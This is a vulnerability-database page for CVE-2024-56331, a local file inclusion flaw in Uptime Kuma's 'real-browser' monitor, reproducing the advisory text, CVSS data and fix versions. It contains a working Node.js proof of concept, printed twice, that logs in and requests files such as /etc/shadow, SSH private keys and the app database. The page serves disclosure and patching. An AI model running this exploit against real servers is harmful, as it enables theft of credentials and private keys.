github - GHSA-2qgm-m29m-cj2h

GHSA-2qgm-m29m-cj2h

Vulnerability from github

Published

2024-12-20 15:10

Modified

2024-12-20 21:36

Severity ?

6.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Summary

uptime-kuma vulnerable to Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor

Details

Summary

An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server.

Details

The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:

The URL input (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using the file:/// protocol, without server-side validation.
The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., file:///etc/passwd), the browser fetches and captures the file’s content.

```javascript const browser = await getBrowser(); const context = await browser.newContext(); const page = await context.newPage();

const res = await page.goto(monitor.url, { waitUntil: "networkidle", timeout: monitor.interval * 1000 * 0.8, });

let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";

await page.screenshot({ path: path.join(Database.screenshotDir, filename), });

await context.close(); ```

Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data.

PoC

Instructions:
Enter a local file path as the URL, such as: view-source:file:///etc/passwd.
The server will process the URL and, in "real-browser" mode, capture a screenshot of the file content.

Example PoC:

```javascript const { io } = require("socket.io-client");

// Server configuration and credentials const CONFIG = { serverUrl: "ws://localhost:3001", credentials: { username: "admin", password: "password1" }, requestType: { REAL_BROWSER: "real-browser", HTTP: "http" }, urlHeader: { VIEW_SOURCE: "view-source:file:///", FILE: "file:///" } };

// List of sensitive files on a Linux system const SENSITIVE_FILES = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/hostname", "/etc/network/interfaces", // May vary depending on the distribution "/etc/ssh/ssh_config", "/etc/ssh/sshd_config", "~/.ssh/authorized_keys", "~/.ssh/id_rsa", "/etc/ssl/private/.key", "/etc/ssl/certs/.crt", "/app/data/kuma.db", // Uptime Kuma database file "/app/data/config.json" // Uptime Kuma configuration file ];

// Function to send a request and wait for the response function sendRequest(socket, filePath, type) { return new Promise((resolve, reject) => { fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath; if (type == CONFIG.requestType.HTTP) { fileUrl = CONFIG.urlHeader.FILE + filePath; } socket.emit("add", { type: type, name: type + " " + filePath, url: fileUrl, method: "GET", maxretries: 0, timeout: 500, notificationIDList: {}, ignoreTls: true, upsideDown: false, accepted_statuscodes: ["200-299"] }, (res) => { console.log(Response for file ${filePath}:, res); resolve(); }); }); }

// Main function for connecting and sending the 'add' request (async () => { const socket = io(CONFIG.serverUrl);

// Handle connection errors socket.on("connect_error", (err) => { console.error("Connection failed:", err.message); });

try { // Connecting with credentials await new Promise((resolve, reject) => { socket.emit("login", { username: CONFIG.credentials.username, password: CONFIG.credentials.password, token: "" }, (res) => { if (res.ok) { console.log("Connection successful"); resolve(); } else { console.log(res); reject(new Error("Connection failed")); } }); });

// Sending requests for each file using Promise.all to ensure synchronization
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));

// Wait for all requests to be sent
await Promise.all([...realBrowserRequests]);

// Close the socket after all requests have been sent
socket.close();
console.log("Connection closed after all requests.");

} catch (error) { console.error("Error:", error.message); socket.close(); } })(); ```

Impact

This vulnerability is a Local File Inclusion (LFI) issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as: - /etc/passwd: Contains user account information. - /etc/shadow: Contains password hashes. - /app/data/kuma.db: Contains the database for the Uptime Kuma monitoring tool. - /app/data/config.json: Contains the database credentials for Uptime Kuma.

Any authenticated user who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.23.0"
            },
            {
              "fixed": "1.23.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "uptime-kuma"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.0"
            },
            {
              "fixed": "2.0.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0-beta.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-56331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-20T15:10:46Z",
    "nvd_published_at": "2024-12-20T20:15:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **\"real-browser\"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server.\n\n### Details\nThe vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:\n\n1. The URL input (`\u003cinput data-v-5f5c86d7=\"\" id=\"url\" type=\"url\" class=\"form-control\" pattern=\"https?://.+\" required=\"\"\u003e`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation.\n   \n2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the \"real-browser\" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file\u2019s content.\n\n```javascript\nconst browser = await getBrowser();\nconst context = await browser.newContext();\nconst page = await context.newPage();\n\nconst res = await page.goto(monitor.url, {\n    waitUntil: \"networkidle\",\n    timeout: monitor.interval * 1000 * 0.8,\n});\n\nlet filename = jwt.sign(monitor.id, server.jwtSecret) + \".png\";\n\nawait page.screenshot({\n    path: path.join(Database.screenshotDir, filename),\n});\n\nawait context.close();\n```\n\nSince the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file\u0027s content, potentially exposing sensitive data.\n\n### PoC\n1. **Instructions**:\n   - Enter a local file path as the URL, such as: `view-source:file:///etc/passwd`.\n   - The server will process the URL and, in \"real-browser\" mode, capture a screenshot of the file content.\n\nExample PoC:\n\n1. Log in to the application with valid credentials:\n\n```javascript\nconst { io } = require(\"socket.io-client\");\n\n// Server configuration and credentials\nconst CONFIG = {\n  serverUrl: \"ws://localhost:3001\",\n  credentials: {\n    username: \"admin\",\n    password: \"password1\"\n  },\n  requestType: {\n    REAL_BROWSER: \"real-browser\",\n    HTTP: \"http\"\n  },\n  urlHeader: {\n    VIEW_SOURCE: \"view-source:file:///\",\n    FILE: \"file:///\"\n  }\n};\n\n// List of sensitive files on a Linux system\nconst SENSITIVE_FILES = [\n  \"/etc/passwd\",\n  \"/etc/shadow\",\n  \"/etc/hosts\",\n  \"/etc/hostname\",\n  \"/etc/network/interfaces\", // May vary depending on the distribution\n  \"/etc/ssh/ssh_config\",\n  \"/etc/ssh/sshd_config\",\n  \"~/.ssh/authorized_keys\",\n  \"~/.ssh/id_rsa\",\n  \"/etc/ssl/private/*.key\",\n  \"/etc/ssl/certs/*.crt\",\n  \"/app/data/kuma.db\", // Uptime Kuma database file\n  \"/app/data/config.json\" // Uptime Kuma configuration file\n];\n\n// Function to send a request and wait for the response\nfunction sendRequest(socket, filePath, type) {\n  return new Promise((resolve, reject) =\u003e {\n    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;\n    if (type == CONFIG.requestType.HTTP) {\n      fileUrl = CONFIG.urlHeader.FILE + filePath;\n    }\n    socket.emit(\"add\", {\n      type: type,\n      name: type + \" \" + filePath,\n      url: fileUrl,\n      method: \"GET\",\n      maxretries: 0,\n      timeout: 500,\n      notificationIDList: {},\n      ignoreTls: true,\n      upsideDown: false,\n      accepted_statuscodes: [\"200-299\"]\n    }, (res) =\u003e {\n      console.log(`Response for file ${filePath}:`, res);\n      resolve();\n    });\n  });\n}\n\n// Main function for connecting and sending the \u0027add\u0027 request\n(async () =\u003e {\n  const socket = io(CONFIG.serverUrl);\n\n  // Handle connection errors\n  socket.on(\"connect_error\", (err) =\u003e {\n    console.error(\"Connection failed:\", err.message);\n  });\n\n  try {\n    // Connecting with credentials\n    await new Promise((resolve, reject) =\u003e {\n      socket.emit(\"login\", {\n        username: CONFIG.credentials.username,\n        password: CONFIG.credentials.password,\n        token: \"\"\n      }, (res) =\u003e {\n        if (res.ok) {\n          console.log(\"Connection successful\");\n          resolve();\n        } else {\n          console.log(res);\n          reject(new Error(\"Connection failed\"));\n        }\n      });\n    });\n\n    // Sending requests for each file using Promise.all to ensure synchronization\n    const realBrowserRequests = SENSITIVE_FILES.map(filePath =\u003e sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));\n\n    // Wait for all requests to be sent\n    await Promise.all([...realBrowserRequests]);\n\n    // Close the socket after all requests have been sent\n    socket.close();\n    console.log(\"Connection closed after all requests.\");\n\n  } catch (error) {\n    console.error(\"Error:\", error.message);\n    socket.close();\n  }\n})();\n```\n\n### Impact\nThis vulnerability is a **Local File Inclusion (LFI)** issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as:\n- `/etc/passwd`: Contains user account information.\n- `/etc/shadow`: Contains password hashes.\n- `/app/data/kuma.db`: Contains the database for the Uptime Kuma monitoring tool.\n- `/app/data/config.json`: Contains the database credentials for Uptime Kuma.\n\nAny **authenticated user** who can submit a URL in \"real-browser\" mode is at risk of exposing sensitive data through screenshots of these files.",
  "id": "GHSA-2qgm-m29m-cj2h",
  "modified": "2024-12-20T21:36:55Z",
  "published": "2024-12-20T15:10:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/commit/6cfae01a0d3727c517afe512fc8fec1d99acf875"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/louislam/uptime-kuma"
    },
    {
      "type": "WEB",
      "url": "https://github.com/louislam/uptime-kuma/releases/tag/1.23.16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "uptime-kuma vulnerable to Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor"
}

cve-2024-56331

Vulnerability from cvelistv5

Published

2024-12-20 19:48

Modified

2024-12-20 19:48

Severity ?

6.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Summary

Uptime Kuma is an open source, self-hosted monitoring tool. An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **"real-browser"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (`<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. Any **authenticated user** who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

References

▼	URL	Tags
	https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h	x_refsource_CONFIRM
	https://github.com/louislam/uptime-kuma/commit/6cfae01a0d3727c517afe512fc8fec1d99acf875	x_refsource_MISC

Impacted products

Vendor

Product

Version

▼

louislam

uptime-kuma

Version: >= 1.23.0, < 1.23.16
Version: = 2.0.0-beta.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "uptime-kuma",
          "vendor": "louislam",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.23.0, \u003c 1.23.16"
            },
            {
              "status": "affected",
              "version": "= 2.0.0-beta.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Uptime Kuma is an open source, self-hosted monitoring tool. An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **\"real-browser\"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (`\u003cinput data-v-5f5c86d7=\"\" id=\"url\" type=\"url\" class=\"form-control\" pattern=\"https?://.+\" required=\"\"\u003e`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the \"real-browser\" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file\u2019s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file\u0027s content, potentially exposing sensitive data. Any **authenticated user** who can submit a URL in \"real-browser\" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-12-20T19:48:45.641Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-2qgm-m29m-cj2h"
        },
        {
          "name": "https://github.com/louislam/uptime-kuma/commit/6cfae01a0d3727c517afe512fc8fec1d99acf875",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/louislam/uptime-kuma/commit/6cfae01a0d3727c517afe512fc8fec1d99acf875"
        }
      ],
      "source": {
        "advisory": "GHSA-2qgm-m29m-cj2h",
        "discovery": "UNKNOWN"
      },
      "title": "Local File Inclusion (LFI) via Improper URL Handling in uptime-kuma\u0027s `Real-Browser` monitor"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-56331",
    "datePublished": "2024-12-20T19:48:45.641Z",
    "dateReserved": "2024-12-19T18:39:53.612Z",
    "dateUpdated": "2024-12-20T19:48:45.641Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

GHSA-2qgm-m29m-cj2h

Vulnerability from github

Summary

Details

PoC

Impact

cve-2024-56331

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature